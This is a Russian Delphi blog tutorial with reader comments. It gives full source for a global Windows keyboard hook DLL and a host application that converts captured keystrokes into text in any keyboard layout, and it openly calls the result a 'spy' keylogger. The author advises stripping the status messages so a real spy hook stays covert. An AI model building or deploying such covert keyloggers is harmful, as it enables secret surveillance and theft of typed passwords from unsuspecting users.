Сегодня снова вернемся к вопросу о ловушках и посмотрим их реализацию в том виде, в котором можно читать текст, набранный в любом приложении, а не просто просмотреть виртуальный и скан-код клавиши.
В прошлый раз мы рассмотрели простейший из всех известных мне примеров применения ловушек в Windows. И остановились на том, что ловушка сама писала данные о нажатых клавишах в текстовый файл.
С точки зрения устойчивости такой ловушки можно сказать, что Вам очень сильно повезет, если такая ловушка ни разу не даст сбой в работе и не повесится сама или не повесит систему. Сам по себе процесс записи/чтения в файл достаточно медленный и кто знает успеет ли ловушка отработать до конца эту процедуру и не пропустить сообщение мимо своих "ушей".
Более разумно в таких случаях использовать следующий алгоритм обработки:
- Регистрируем ловушку в системе
- Ловушка перехватывает все сообщения от клавиатуры и переправляет их в основную программу через сообщения
- Основная программа проводит дополнительную обработку данных: переводит значения LParam и WParam в символы, пишет файл и т.д. и т.п. в общем всё, что Вашей душе угодно.
Попробуем реализовать подобный алгоритм сегодня. Итак, пишем ловушку.
1. DLL для перехвата сообщений клавиатуры
Чтобы сильно не нагружать нашу библиотеку лишними операциями, реализуем в ней всего две простые функции:
- загрузки/выгрузки библиотеки
- непосредственно перехват и пересылка сообщений в основную программу
Рассмотрим листинг такой динамической библиотеки:
library HookLib;
uses
SysUtils,Windows,Messages, Ariphm;
const
HookMsg = WM_USER+$125;
var
CurHook:HWND;
function KeyboardProc(code: integer; wParam: word; lParam: longint) : longint; stdcall;
var AppWnd:HWND;
Begin
if code < 0 then
Result:= CallNextHookEx(CurHook, Code, wParam, lParam)
else
begin
if Byte(LParam shr 24)<$80 then
begin
AppWnd:= FindWindow(nil, PChar('Перехватчик'));
SendMessage(AppWnd,HookMsg,wParam, GetCurrentThreadId {lParam});
Result:=CallNextHookEx(CurHook, Code, wParam, lParam);
end;
end;
end;
procedure hook(Switch: Boolean; HandleProg: HWND) export; stdcall;
begin
if switch=true then
begin
CurHook:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
if CurHook <> 0 then
MessageBox(0, 'Ловушка установлена !', 'Уведомление', MB_OK+MB_ICONINFORMATION)
else
MessageBox(0, 'Установка ловушке не удалась!', 'Ошибка', MB_OK+MB_ICONERROR);
end
else
begin
if UnhookWindowsHookEx(CurHook) then
MessageBox(0, 'Ловушка снята!', 'Уведомление', MB_OK+MB_ICONINFORMATION)
else
MessageBox(0, 'Выгрузка ловушки из памяти не удалась!', '', MB_OK+MB_ICONERROR);
end;
end;
exports hook;
begin
end.
Выглядит может и не эстетично, но тем не менее всё работает как положено. На что следует обратить внимание при разработке собственной ловушки?
Во-первых, рассмотрим процедуру загрузки/выгрузки:
procedure hook(Switch: Boolean; HandleProg: HWND) export; stdcall;
begin
if switch=true then
begin
CurHook:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
if CurHook <> 0 then
MessageBox(0, 'Ловушка установлена !', 'Уведомление', MB_OK+MB_ICONINFORMATION)
else
MessageBox(0, 'Установка ловушке не удалась!', 'Ошибка', MB_OK+MB_ICONERROR);
end
else
begin
if UnhookWindowsHookEx(CurHook) then
MessageBox(0, 'Ловушка снята!', 'Уведомление', MB_OK+MB_ICONINFORMATION)
else
MessageBox(0, 'Выгрузка ловушки из памяти не удалась!', '', MB_OK+MB_ICONERROR);
end;
end;
Так как мы пишем учебный пример, то я не поскупился и накидал здесь страшных и не очень сообщений, уведомляющих нас о состоянии библиотеки. Естественно, если вы будите писать настоящую "шпионскую" ловушку, то сообщения эти будут явно излишними, поэтому их следует убрать, а вместе с ними и удалить из uses модуль Messages. Так Вы сможете сохранить свою конспиративность и размер библиотеки после компиляции значительно уменьшится.
Во-вторых, при разработке этой ловушки я использовал константу HookMsg при отправке нашей "шпионской посылки" в основную программу. Сделано это было, можно сказать, из лени :) В реальных условиях разработки такого делать не стоит, т.к. никто не дает вам гарантии, что в системе не найдется ещё одного пользовательского сообщения с таким же параметром. Поэтому следует воспользоваться следующим методам:
RegisterWindowMessage(HookName: string)
Эта функция регистрирует системное сообщение в Windows. Так Вы избежите неловких ситуаций с повторяющимися сообщениями.
Теперь перейдем к самой главной функции - перехвату сообщений:
function KeyboardProc(code: integer; wParam: word; lParam: longint) : longint; stdcall;
var Wnd:HWND;
Begin
if code < 0 then
Result:= CallNextHookEx(CurHook, Code, wParam, lParam)
else
begin
if Byte(LParam shr 24)<$80 then
begin
Wnd:= FindWindow(nil, PChar('Перехватчик'));
SendMessage(Wnd,HookMsg,wParam, GetCurrentThreadId);
Result:=CallNextHookEx(CurHook, Code, wParam, lParam);
end;
end;
end;
Что здесь собственно происходит. Во первых при перехвате сообщения проверяется значение параметра Code. В случае, если параметр меньше нуля, то вызываем функцию CallNextHookEx и выходим из функции. Так советует делать справка Windows. Но дело в том, что Code в Win32 почему-то всегда возвращает значение не меньше нуля. Так что, если Вы планируете использовать свою ловушку в Win32, то в принципе эта проверка Вам не пригодится.
Следующий шаг после проверки - поиск окно вызывающей программы.
Wnd:= FindWindow(nil, PChar('Перехватчик'));
т.е. я ищу зарегистрированный в системе элемент с заголовком "Перехватчик" и, если таковой находится, то пересылаю сообщение обычным способом:
SendMessage(Wnd, HookMsg, wParam, GetCurrentThreadId);
Обратите внимание на последний параметр. По всем правилам я должен бы был отправить вторым параметром lParam, а я чего-то отправляю значение функции. Забегая немного вперед скажу, что без пересылки идентификатора процесса у которого перехвачено сообщение, транслировать полученные значения виртуального и скан-кода клавиши в букву удастся в 50% случаев - когда пользователь пишет на латинице. Так как в lParam содержится (цитирую из справки по сообщениям Windows):
lParamLo: Количество pаз, когда нажатие этой клавиши повтоpялось из-за фиксации
ее в нажатом положении.
LParamHi: Биты 0-7 в lParamHi являются scan-кодом клавиши, зависящим от OEM. Бит 8 pавен 1, если клавиша относится к pасшиpенным. Бит 13 pавен 1, если пpи нажатии клавиши нажималась клавиша Alt. Если клавиша уже была нажата до посылки этого сообщения, бит 14 pавен 1. Бит 15 pавен 1, если клавиша отпускается, и pавен 0, если нажимается.
То есть получается, что в принципе мы можем пожертвовать этим параметром в пользу правильно трансляции кодов в буквы. Чем я и воспользовался.
Для того, чтобы каждый код не отправлялся по 2 раза мы отправляем сообщение только в момент нажатия клавиши. Для этого осуществляется проверка:
if Byte(LParam shr 24)<$80 then
То есть значение LParam сдвигается на три байта вправо, младшим оказывается старший байт, затем число усекается до байта. Если в итоге оказывается, что старший бит в полученном байте равен 1 (то есть байт больше 127 = $7F), то это код отпускания, а мы забираем только код нажатия.
Это обстоятельство (отлов только нажатий клавиши) очень часто упускается начинающими программистами и в результате получается, что каждая буква пишется в лог дважды. Ну, а Вам повезло больше, чем им - достаточно скачать модуль и вы сможете проводить подобную проверку.
С библиотекой разобрались. Теперь посмотрим, что происходит в основной программе.
2. Разрабатываем приложение для чтения данных из ловушки
Вид приложения у меня получился довольно аскетичный
Но, вместе с тем, приложение имеет интуитивно понятный интерфейс :) Приложение загружает/выгружает ловушку и выводит в Memo набранный текст. Т.к. ловушка у нас глобальная, то в Memo будет транслироваться все, что вы наберете на клавиатуре пока загружена библиотека (даже если окно основной программы будет свернуто).
Для того, чтобы наше приложение работало, ему необходимо знать, что за сообщение следует принимать. Для этого объявляем как и в библиотеке константу:
const HookMsg = WM_USER+$125;
Теперь экспортируем из DLL функцию:
var Form2: TForm2; hDLL: THandle; Hook: procedure (switch : Boolean; HandleProg: HWND) stdcall;
Загрузка библиотеки производится при нажатии на кнопку "Установить хук":
@hook:= nil;
hDLL:= LoadLibrary(PChar('hook.dll'));
@hook:=GetProcAddress(Hdll, 'hook');
Hook(true, Form2.Handle);
Соответственно выгрузка библиотеки проводится в обратном направлении:
Hook(false, Form2.Handle);
Самое интересное в вызывающей программе - это транслячия сообщения. Создаем метод для перехвата сообщений
procedure WndProc(var Msg: TMessage); override;
Листинг метода:
procedure TForm2.WndProc(var Msg: TMessage);
var SC: integer;
buf: Char;
KS: TKeyboardState;
MyHKL: HKL;
begin
inherited ;
if Msg.Msg = HookMsg then
begin
MyHKL:=GetKeyboardLayout(msg.LParam);
SC:=MapVirtualKeyEx(Msg.WParam,MAPVK_VK_TO_VSC,MyHKL);
GetKeyboardState(KS);
ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);
Memo1.Text:=Memo1.Text+buf;
MyHKL:=0;
End;
end;
Отлавливаем наше сообщение и начинаем его преобразовывать в читабельный вид. Для того, чтобы понять как все это происходит я настоятельно Вам советую хотя бы вкратце ознакомиться с постом про Unicode. Вкратце суть работы процедуры такова:
В параметре wParam сообщения нам поступает виртуальный код клавиши. Как мы уже говорили, виртуальный код и скан-код можно преобразовывать друг в друга функцией MapVirtualKey. Однако, в данном случае, мы не знаем в какой раскладке была нажата клавиша и для того, чтобы её (раскладку) узнать нам требуется знать в каком процессе происходила работа с клавиатурой и получить раскладку для этого процесса вызовом функции:
MyHKL:=GetKeyboardLayout(msg.LParam);
Теперь, я думаю, становится предельно ясно зачем мы в ловушке передавали вторым параметром идентификатор процесса. Именно для того, чтобы правильно определить раскладку. Ну, а зная раскладку, виртуальный и скан-код клавиши, мы можем легко транслировать их в символ:
ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);
Конечно мы пренебрегаем в данном случае регистрами букв, т.к. принимаем TKeyboardState для вызывающей программы (что не совсем корректно), но зато можем транслировать как русский, так и любой другой символ, хоть иврит.
И в конце обнуляем дескриптор:
MyHKL:=0;
Делать это необходимо. Иначе при каждом получении и обработке сообщения вы будете в догонку получать сообщение о критической ошибке.
Ну, а результат работы программы может быть примерно следующим:
Как видите, в пользу правильного определения раскладки мы пожертвовали некоторыми возможностями, как то регистр букв, трансляция управляющих символов и отсеивание (или верная интерпретация) нажатий функциональных клавиш.
Можно, конечно вместо сообщения переправлять в основную программу чётко определенную структуру, содержащую все необходимые данные, вплоть до состояния клавиатуры, но сегодняшняя цель поста от этого никак не зависит. Я лишь хотел показать и подчеркнуть, что в работе клавиатурных шпионов нет ничего сверхъестественного, скорее наоборот - они просты до безобразия.
Если же у Вас всё-таки остались вопросы о работе подобных программ, то не стесняйтесь - спрашивайте. Постараюсь ответить более подробно или даже выделить ответ в отдельный пост блога.
Скачать готовую ловушку и пример вызывающего приложения Вы можете .
Кстати, если Вам нужны другие библиотеки dll, например lame_enc.dll или любые другие библиотеки, то можете зайти на сайт DLL-Master и скачать необходимые библиотеки абсолютно бесплатно.
Мой блог находят по следующим фразам
- теги для делфі
- delphi документооборот
- gesturelistview
- AlphaControls
- вывод кодов символов для всех буквенно-цифровых клавиш
- Timer
Понравилась статья? Тогда:Делись! Загружай! Плюсуй! Читай ещё статьи на WebDelphi.ru









18 Окт 2009 в 9:53 дп
Может быть автор расскажет как можно отловить просто нажатие клавишь, т.е. мне неважно какие клавиши нажимались, важно узнать что последний раз клавиши нажимались тогда-то.
Спасибо
18 Окт 2009 в 12:58 пп
Это ещё проще. Чтобы узнать время последнего нажатия клавиши не требуется пересылать GetCurrentThreadId в сообщении. В этом случае обработку сообщения в основной программе можно, например, сделать вот так:
procedure TForm2.WndProc(var Msg: TMessage);begin
inherited ;
if Msg.Msg = HookMsg then
Memo1.Lines.Add('Последний раз клавиша нажималась '+DateTimeToStr(Now));
end;
То есть при получении сообщения выписываем текущую дату и время.
10 Мар 2010 в 11:31 пп
программа работает, отлавливает нажатия, шлет сообщения, только в некоторых приложениях шлет по несколько сообщений (например с word excel по 6 символов одновременно). Как это можно исправить?
02 Июл 2010 в 10:36 дп
Не могли бы Вы подсказать как определить с помощью WM_KEYUP и WM_KEYDOWN время удержания клавиш клавиатуры.
02 Июл 2010 в 1:00 пп
Да по-момему никак не узнать время. Можно узнать «залипание» клавиши, когда кнопку нажали и не отпускают, но сейчас на вскидку вспомнить как это делается не могу :)
05 Сен 2010 в 10:53 дп
А какие модули надо подключитьь шоб запахало ато на 7 непашет
05 Сен 2010 в 1:59 пп
Все необходимые модули лежат на странице «Исходники», кстати, пример писался именно в 7ке так что работать должен
16 Дек 2010 в 8:17 пп
И все же я соглашусь с ded.
Vlad на delphi 7 и на 2005 не пашет
цитирую их:
MAPVK_VK_TO_VSC не найдена
ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);
KS не совместим тип pbyte и Tkeyboardstate
потом я разобрался с константой
MAPVK_VK_TO_VSC
и сделал
ToUnicode
вместо
ToUnicodeEX
но стал писать что мне нужен var параметр и указывает на @buf
в чем проблема?
20 Янв 2011 в 9:25 пп
Алексей немогли бы вы сказать, как вы побороли ошибку с MAPVK_VK_TO_VSC не найдена?
С ToUnicodeEX аналогично вашей ситуации. Вы как-нибудь решили проблему?
P.S. У меня Delphi 2009.
21 Янв 2011 в 3:00 дп
Сам спросил — сам отвечаю, вдруг кому пригодится: вместо MAPVK_VK_TO_VSC ставим 0, в ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL); вместо KS — @KS.
26 Окт 2011 в 6:04 пп
Пришлите мне пожалуйста мне на мыло kurtwagner@mail.ru работающий исходник. а то я упоковал. а он некорректно работает. анг. нормально! а рус. цифрами (((
01 Ноя 2011 в 11:32 дп
Vlad, можете помоч с одной пролемой. Мне надо написать программку-прикол, которая перехватывает нажатую клавишу и надо что бы в программе, куда по идее эта клавиша назначалась, появилась совсем другая клавиша, причем рандомная.
у меня есть несколько идей:
1)это перехватываем название окна куда назначается буква и посылаем туда клавушу #8(backspace) , а потом рандомную.
или
2)перехватываем нажатую клавишу, и поосылаем дальше в перехватчики совсем другую клавишу
очень большая просьба что нибудь рассказать и помоч!
19 Ноя 2011 в 11:49 пп
мож кто поможет с моим вопросом ???
20 Ноя 2011 в 12:59 пп
KWN, lnc. У меня только один исходник — тот который на странице «Исходники». Другого нету.
20 Ноя 2011 в 5:11 пп
у меня Delphi 7 может из-за того что старая версия. поэтому не работает?
можешь выслать исходник который у тебя работает без проблем, мне на мыло kurtwagner@mail.ru и назвать свою версию Delphi …
20 Ноя 2011 в 6:52 пп
KWN, lnc, так этот исходник и лежит на странице «Исходники» :) Писал его на Delphi 2010. Сейчас работаю в Delphi XE2 Architect
22 Ноя 2011 в 1:19 дп
А как мне делать так чтобы он работал на Delphi 7 (((((((((( please help!